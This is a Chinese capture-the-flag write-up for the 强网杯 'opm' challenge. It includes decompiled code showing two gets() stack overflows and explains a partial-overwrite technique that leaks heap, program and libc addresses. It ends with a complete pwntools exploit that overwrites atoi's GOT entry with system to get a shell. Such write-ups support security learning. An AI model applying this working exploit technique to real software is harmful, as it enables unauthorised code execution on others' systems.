强网杯opm

 

opm

强网杯的一道题目当时没做出来。。。 看着像一个堆题目其实是道栈溢出题目,涉及到堆的知识比较少 唯一的技巧点在于巧妙地利用局部写

    int (__fastcall **add())(__int64 a1)
    {
      _QWORD *v0; // rbx
      __int64 v1; // rbx
      size_t v2; // rax
      __int64 v3; // rbx
      char s[128]; // [rsp+0h] [rbp-1A0h]
      __int64 addr_of_struct[16]; // [rsp+80h] [rbp-120h]
      __int64 addr_of_name[17]; // [rsp+100h] [rbp-A0h]
      unsigned __int64 canary; // [rsp+188h] [rbp-18h]
    
      canary = __readfsqword(0x28u);
      v0 = (_QWORD *)operator new(0x20uLL);
      init_struct((__int64)v0);
      addr_of_struct[0] = (__int64)v0;
      *v0 = say;
      puts("Your name:");                           // func say
                                                    // name_addr->name(heap)
                                                    // len(name)
                                                    // punch
      gets(s);
      v1 = addr_of_struct[0];
      *(_QWORD *)(v1 + 16) = strlen(s);
      v2 = strlen(s);
      addr_of_name[0] = (__int64)malloc(v2);
      strcpy((char *)addr_of_name[0], s);
      *(_QWORD *)(addr_of_struct[0] + 8) = addr_of_name[0];
      puts("N punch?");
      gets(s);
      v3 = addr_of_struct[0];
      *(_DWORD *)(v3 + 0x18) = atoi(s);
      say(addr_of_struct[0]);
      return (int (__fastcall **)(__int64))addr_of_struct[0];
    }

两次gets都有溢出

    -00000000000001A0 s               db 128 dup(?)
    -0000000000000120 addr_of_struct  dq 16 dup(?)
    -00000000000000A0 addr_of_name    dq 17 dup(?)
    -0000000000000018 canary          dq ?

大致栈结构就这样 由于没有free函数,所以对于堆的利用比较局限 思路就是首先将 role1的结构体写到一个地址,然后把role2的结构体写到role1的name字段(堆上),之后把role2的地址也指向role1地址,这样就把role1的name打印出来,于是就可以泄露堆地址了。 由于事先我们并不知道地址是什么样,所以只能通过局部写改写地址的低字节 将role1的低字节覆盖为0010,而后添加role2,先通过第一次溢出把他的结构体搞到role1的name字段,这里可以通过把低字节改写成00做到(需要实现布局好堆结构,具体可以gdbattach调一下),而后再把role2地址改到0010 泄露完之后我们就可以将role指针随意的构造为堆上的地址了,我们最终的目的是把got表修改掉,这样就需要知道got地址和libc地址 泄露got地址主要就是构造一个伪造堆块,使他的name字段指向say函数,这样泄露地址就可以算出程序加载基地址,从而泄露got libc同样道理 这里需要注意strlen函数以0结尾,所以我们构造的伪造role长度只能为0x10,也就是说会改变下一个堆块的头部(topsize),需要维护好topchunk 改写的话就利用第二次溢出,把地址写到len字段,改写完成 这里可以选择atoi或者strlen exp:

    from pwn import *
    context.log_level = 'debug'
    io = process('./opm')
    elf = ELF('opm')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    def add(name,punch):
    	io.recvuntil('xit')
    	io.sendline('A')
    	io.recvuntil('name:')
    	io.sendline(name)
    	io.recvuntil('?')
    	io.sendline(punch)
    def show():
    	io.recvuntil('xit')
    	io.sendline('S')
    
    add(0x70*'A','1')
    add(0x80*'B'+'\x10','1')
    add(0x80*'C','A'*0x80+'\x10')
    io.recvuntil('B'*0x8)
    leak = u64(io.recvline()[0:6].ljust(8,'\x00'))
    log.success(hex(leak))
    
    func_addr = leak - 0x30
    fake_chunk_addr = leak + 0xc0
    fake_chunk = 'A'*0x8+p64(func_addr)
    payload = str(0x20171).ljust(0x80,'A') + p64(fake_chunk_addr)
    add(fake_chunk,payload)
    io.recvuntil('<')
    func = u64(io.recvline()[0:6].ljust(8,'\x00'))
    log.success(hex(func))
    proc_addr = func - 0xb30
    atoi_got = proc_addr + elf.got['atoi']
    fake_chunk = 'a'*0x8 + p64(atoi_got)
    payload = str(0x20171 - 0x50).ljust(0x80,'A') + p64(leak + 0xc0 +0x50)
    add(fake_chunk,payload)
    io.recvuntil('<')
    libc_base = u64(io.recvline()[0:6].ljust(8,'\x00')) - libc.symbols['atoi']
    log.success(hex(libc_base))
    system = libc_base + libc.symbols['system']
    log.success(hex(system))
    add('s3cunDa',str(system).ljust(0x80,'A')+p64(atoi_got - 0x18))
    add('s3cunDa','/bin/sh')
    io.interactive()

这么简单题我为什么那时候没做出来。。。